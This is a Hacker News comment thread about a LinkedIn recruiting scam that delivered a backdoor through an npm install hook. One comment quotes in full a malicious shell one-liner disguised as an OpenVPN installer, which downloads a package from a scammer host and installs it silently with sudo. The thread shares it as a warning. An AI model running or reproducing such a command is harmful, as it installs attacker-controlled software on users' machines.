A backdoor in a LinkedIn job offer

(roman.pt)

381 points | by lwhsiao 2 hours ago

26 comments

  • wxw 1 hour ago
    > a recruiter at a small crypto startup [...] she described a broken proof-of-concept they needed a lead engineer for, and then sent me a public GitHub repo to review. Specifically, she asked me to “check out the deprecated Node modules issue.”

    > ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.

    > npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.

    > The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.

    Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.

    • pants2 55 minutes ago
      LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

      We've had fake recruiters that claim to work for us running basically the same scam. These are great fake profiles: LinkedIn Premium, tons of relevant posts, etc... but they don't work for us, and we get angry messages from people saying our recruiter tried to scam them. No, they're not our recruiter despite showing up on our company page on LinkedIn. No number of reports could get them taken down.

      I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn, but not all startups have that connection!

      • underlipton 1 minute ago
        >I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn

        I'd like people to understand that this is a form of corruption. We've normalized many like it. LI knows that the only way to force them to fix the issue is to go through a drawn-out legal process, save a spate of bad press (RIP 60 Minutes), so of course they won't.

      • tweetle_beetle 42 minutes ago
        LinkedIn didn't even disavow people pretending to work for LinkedIn until someone had too much fun with it - https://chrisduffycomedy.com/blog/2016/11/2/6-months-as-the-...
      • sensanaty 34 minutes ago
        My last 2 companies, LinkedIn asked me to add an email address associated with the said company and actually confirm via said email in order to add them to my profile. So, if I worked for FooCompany, I had to have a @FooCompany.com email which is setup by someone at the company itself. Does this not cover what you're talking about?
    • gleenn 1 hour ago
      Friends don't let friends ise NPM. At this point it is so wildly crazy watching people get owned, I don't understand how anyone uses it when they could use e.g. PNMPM and block one if the most obvious amd frequently exploited holes. These tools with arbitrary code execution when trying to download some code have got to stop.
      • afpx 59 minutes ago
        Github / Microsoft could easily fix this, couldn't they? Leaving NPM up in its current state seems criminal, especially since LLMs generate NPM commands so frequently.
      • winddude 1 hour ago
        > Friends don't let friends ise NPM

        or linkedin

        • jzig 13 minutes ago
          I don't have friends, therefore I must use LinkedIn to get a job. Hooray!
    • mhitza 55 minutes ago
      Things like this where a tried and tested method on Upwork, particularly in the 2021-2022 crypto/nft highs. At some point they branched out from crypto projects and cast a wide net across different categories.

      Last I recall was a download of a windows scr (screensaver masquerading) file.

      Linkedin is a new low, and I'm sure the platform doesn't really care (look, more jobs), just as ad network companies (Google, Meta) don't really care about scam ads.

    • firefax 21 minutes ago
      I've had people phish for my email then hit that with some bullshitpowershellladendoucument.pdf.docx crap, but sending it directly in the IM?

      Bold strategy cotton, let's see if it pays off.

    • burnte 1 hour ago
      I haven't been phished like this but I've certainly had fraudsters try to con me into meetings or schemes, etc.
    • cyanydeez 1 hour ago
      surprise is unwarranted as linkedin enshittifies. This type of thing is exactly what happens when neither the user of the service, nor the third party commercial interests are being served by the commercial enterprise. It's a vacuum that scams enter into.
  • jmward01 1 hour ago
    So, this is a crime right? Why isn't there a well known '911' for cybercrime to report things like this to and get help? Society needs to catch up with the actual dangers out there and build support networks for this ASAP. This is organized crime and needs organized defense to deal with it.
    • mrhottakes 1 hour ago
      Unfortunately most evil cybercriminals know the "one weird trick" of "do your crimes in countries that don't care about the crimes"
      • jmward01 17 minutes ago
        I see several comments like this implying nothing can be done. But that is far from the truth. First, an agency that actually answered the phone could coordinate directly with LinkedIn and other tech companies to quickly take down these fake accounts and minimize harm to others. We all know how incredibly hard it is to contact a tech company. Second, an agency that answers the phone could help less technical people find what may have been compromised and push people towards support services if needed. And finally, maybe, they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time.
    • eblume 1 hour ago
      https://www.ic3.gov

      You won't hear back from them, though. But, at least for US citizens (and possibly for anyone?), this is as far as I know the closest thing there is to an "Internet 911".

    • john_strinlai 1 hour ago
      the main issue is that we lack a global '911'.

      secondary is the effort asymmetry between spinning up one of these scams (near 0 effort) and catching/prosecuting these scams (big effort, astronomical cost)

      • Diti 1 hour ago
        > the main issue is that we lack a global '911'.

        911 is for emergencies. I don’t think the global 911 service would give any attention to a LinkedIn scam.

        • john_strinlai 58 minutes ago
          i used the same terminology as the parent, and i think we all know what is meant by it
      • pocksuppet 1 hour ago
        what about the outcome asymmetry between spinning up one of these scams (get one guy's computer) and getting caught (jail for life)
        • john_strinlai 55 minutes ago
          you arent getting jail for life for this, even in the extremely remote chance you are caught. you are probably getting more than one guy's computer, though.
        • Jolter 40 minutes ago
          I’m sure they’ve gotten more than one hot wallet from out of work crypto bros. Probably a profitable venture.
      • umpalumpaaa 1 hour ago
        I don’t know but the us kidnaps ehhh arrests people on foreign land on a regular basis… and brings them to the US to stand trial. So if it’s “important” enough it will be aced upon…
    • cluckindan 1 hour ago
      Yes. But the perps are in North Korea.
      • dakolli 34 minutes ago
        [flagged]
        • SauntSolaire 12 minutes ago
          > simply for being one of the last communist countries

          Well, that plus their 50 nuclear warheads and continued ICBM development, amongst other things.

    • throwaway85825 1 hour ago
      The scammers are in a different whole uncooperative country.
      • cute_boi 15 minutes ago
        Or they may be in this country, but uses proxies, virtual machines, hostings from uncooperative country.
    • bityard 1 hour ago
      To put it bluntly and perhaps a bit cynically, on the tree of bad things that people do to other people, this is pretty high-hanging fruit. Right up there next to scam phone calls that prey on the elderly while claiming to be from Microsoft support.

      It's basically impossible to catch suspects because they are either smart enough to cover their tracks very well, or (more often) live in countries whose governments don't care about their citizens (even pay them for) scamming westerners.

      • Barbing 1 hour ago
        Saw Microsoft has a dedicated scam reporting page - guess it was damaging their brand https://reportfraud.microsoft.com/en-us

        Wonder if they’re effective in going after reports. I’d still report to IC3/FBI/powers that be, too. Just in case someone somewhere has the resources to do something… perhaps a high hope

        • mgiampapa 1 hour ago
          I get more calls from Google Security than any other thing. Oddly the Pixel's built in scam detection and call screening lets them through without fail. I normally don't have my phone even ring unless it's in my contacts, but saying you are calling from Google is like a magic code.
          • throwaway85825 1 hour ago
            They must have whitelisted the word Google. Very useful to scammers.
      • Xirdus 1 hour ago
        Hard disagree on the scam phone calls. It would be trivial to eradicate them almost completely if the phone operators did the bare minimum to fight against it. At any point in time, any given US phone number is handled by exactly one phone carrier. There is nothing stopping that carrier from requiring name and address to issue that phone number. They already do for 99.99% of their legitimate customers. It would be very easy to make it so that every single phone call originating from the US, including all VOIP calls made with US phone numbers, can be traced back to a specific business or person that can later be sued or prosecuted.

        And no, number spoofing isn't an excuse either. We literally solved the much harder problem of email spoofing already. There are, what, 3 carrier networks in all of US? And they cannot do with each other what DMARC did for the hundreds of thousands disjoint organizations that comprise the internet? Please.

        • pocksuppet 7 minutes ago
          Number spoofing is not a solved problem because some carriers, which appear legitimate in all other respects, make a business out of routing your traffic over TDM trunks that don't support caller ID verification, and will claim it's extremely expensive to upgrade these to VOIP.
        • a34729t 1 hour ago
          Yeah 100%. It's criminal that this is not already done.
        • firefax 57 minutes ago
          >It would be trivial to eradicate them almost completely

          Absolutely true, but droning their data centers might have some policy repercussions.

        • salawat 48 minutes ago
          KYC just for a phone number opens the door for societal ostracization and essentially blacklisting of people from infrastructure. This is on par with being unable to open a bank account if the capability is matured. I'd advise that you think long and hard about the consequences of this system being applied against you maliciously before signing on the dotted line.
          • mschuster91 21 minutes ago
            > KYC just for a phone number opens the door for societal ostracization and essentially blacklisting of people from infrastructure.

            We have that in Europe and the world has not fallen apart. On top of that, we don't have even close to the scale of problems with scammers that the US has. I won't deny we don't have scammers because we absolutely have them, but they are far from the scourge they are in the US.

            > This is on par with being unable to open a bank account if the capability is matured.

            The secret is... we have constitutionally protected rights. Unless you do not pay your bills, your phone line will not get disconnected. And same for bank accounts - every European has the right to a basic banking account, even if you are a target of foreign sanctions [1].

            [1] https://www.tagesschau.de/ausland/europa/konto-eugh-usa-sank...

    • pluc 1 hour ago
      Have you seen the state of *gestures at everything*
    • stefan_ 1 hour ago
      You mean organized crime like NSO Group? Sorry, governments all over the world are too busy using them to spy on opposition to care.
    • calvinmorrison 1 hour ago
      yes this is a crime.
    • deejaaymac 1 hour ago
      Cool let's hear your solution, you seem well versed on how infosec works.
  • aykutseker 16 minutes ago
    This is uncomfortably close to a normal interview task now.

    Someone sends you a repo, says the install is broken, and asks you to take a look.

    A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.

    • suyavuz 10 minutes ago
      The interview context makes it worse. You’re trying not to look slow, so you skip the part where you ask whether you should run it at all.
  • BobAliceInATree 1 hour ago
    > I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

    Oh, Microsoft.

    • andy99 1 hour ago
      I once saw an ad on LinkedIn made up to look like the CBC (Canadian news) linking to a fake video of the Canadian prime minister announcing a crypto investment plan for all Canadians, with a link to sign up. I reported the ad to LinkedIn and shortly after got a reply telling me they investigated and didn’t find any violation of their policies.
    • INTPenis 1 hour ago
      They should have reported it for DMCA violation. It would be gone instantly.
  • Raed667 1 hour ago
    They seem to using the same domain for multiple targets: reddit thread from 3 months ago:

    https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...

  • theoeiffijr 2 hours ago
    Maybe Mac will finally get decent virtualization framework. Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

    Remember to use protection when meeting random people, and putting their junk deep inside your computer!

    • firefax 23 minutes ago
      >Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

      It's ok, the guy with glasses from the Daily Show said it's ok.

    • mschuster91 20 minutes ago
      > Maybe Mac will finally get decent virtualization framework.

      it already has, you can configure intellij to run npm commands in a Docker container.

    • rvz 1 hour ago
      Or running random curl | bash scripts from GitHub, AUR, NPM are just as bad but many developers here still have dubious assumptions on this bad practice.

      The last few weeks tell us how bad this is especially with all the mini-shai hulud's running around.

  • clemailacct1 1 hour ago
    This is very likely Lazarus Group - specifically Famous Chollima aka the DPRK
  • atum47 1 hour ago
    I've been getting some job offers on LinkedIn, all of them are shady af. Apply using a platform. Apply recording a video of yourself. Apply by resolving a calibration code test (behind a code platform)...
  • CyanLite2 2 hours ago
    Isn't this how most NPM authors are hacked these days? I think the axios guy got hit with the same approach over LinkedIn.
    • lysace 9 minutes ago
      Hoisted by their own petard vibes.
  • CalChris 1 hour ago
    It’s odd that the operator of the scam knew full stack level details of its implementation. To me, it seems like they were targeting the author, perhaps as something like privilege escalation, identity escalation perhaps.
  • rektomatic 2 hours ago
    I really want to know what would've happened with an npm install, I guess something boring like crypto mining or identity theft?
    • imankulov 1 hour ago
      You can actually test it yourself. The actual URL is in the post and the website is still up.
    • flexagoon 1 hour ago
      AFAIK most malware like this first sends the contents of your environment variables, ssh keys, passwords, etc. to the server, and then sets up a persistent process that executes arbitrary commands received from the attacker's server at any time, allowing them to run whatever else they want
    • gman2093 1 hour ago
      Arbitrary remote code execution, maybe sold to the highest bidder like some shady cloud provider?
  • f055 52 minutes ago
    I used to get 2-3 shady crypto offers per week on LinkedIn. It stopped when I started replying with AI generated responses demanding multiple verification steps: official email, official offer link, terms and scope etc. And a note with a firm refusal to run any code or install any package on my machine for "recruitment tasks".
  • mattcasmith 1 hour ago
    I’ve seen a few of these – malicious repos to clone, fake call links that prompt for “driver” downloads, and so on.

    The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.

  • binsquare 52 minutes ago
    Would highly recommend running any repo in an isolated environment like a vm
  • srikanth86 56 minutes ago
    Oh my goodness! I had this playout as is on Friday. I luckily got on the zoom call 20 mins late. Found it weird that the interviewer was pushy and wanted me to download and run an npm repo. I got out of the call quickly.
  • khernandezrt 52 minutes ago
    It would have been game over for me.
  • Yhippa 1 hour ago
    > but on a more tired or rushed day

    This has nearly gotten me before, and I got lucky.

  • contingencies 1 hour ago
    Thought: they may be targeting software developers on the assumption they may have legit credentials lying around from other employers or for public open source projects, or at a minimum some reputation to exploit towards obtaining commits to the same for supply chain attacks.
  • stainablesteel 32 minutes ago
    the entire internet is just phishing at this point
  • dyingkneepad 1 hour ago
    Ah, c'mon! You went all the way to find out the issue and write about it, and won't do the most interesting part which is to tell us what was the remote script that would end up running!?
  • zuzululu 53 minutes ago
    I'm working 3 remote jobs right now and I can tell you guys to really watch out.

    Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.

    They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.

    I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:

    - Don't stay loyal to your employers.

    - Don't stay honest to those don't value it.

    - Don't stay complacent always innovate.

  • robotnikman 1 hour ago
    With how many desperate software engineers there are on the market right now looking for a job, there are going to be scumbags out there trying to take advantage of the desperation. Such people are the worst of the worst of humanity.

    Stay vigilant out there everyone.

    • DFHippie 1 hour ago
      > Such people are the worst of the worst of humanity.

      I don't know. There's a plentiful supply of bad humans.

      • robotnikman 43 minutes ago
        Anyone who preys on people who are desperate and hurting are certainly some of the worst though.
  • dolebirchwood 1 hour ago
    As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).

    They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of "downloading" their VPN was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

    ``` ( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ] ```

    Yeah, no.

    Be careful out there.

    Here's the scammer's "company website", by the way: https://jtwllc.com/

  • avgDev 1 hour ago
    More reasons for me to dislike linked-in. I have an account. I hate it.
  • l0new0lf-G 1 hour ago
    Yet another reason to be reluctant to even discuss linkedin job offers
  • yieldcrv 1 hour ago
    now imagine if you were like the rest of us and didn’t write a blog post about it
    • MAustriaGA 12 minutes ago
      I would not have found out about this. Thanks for the writer for taking the time.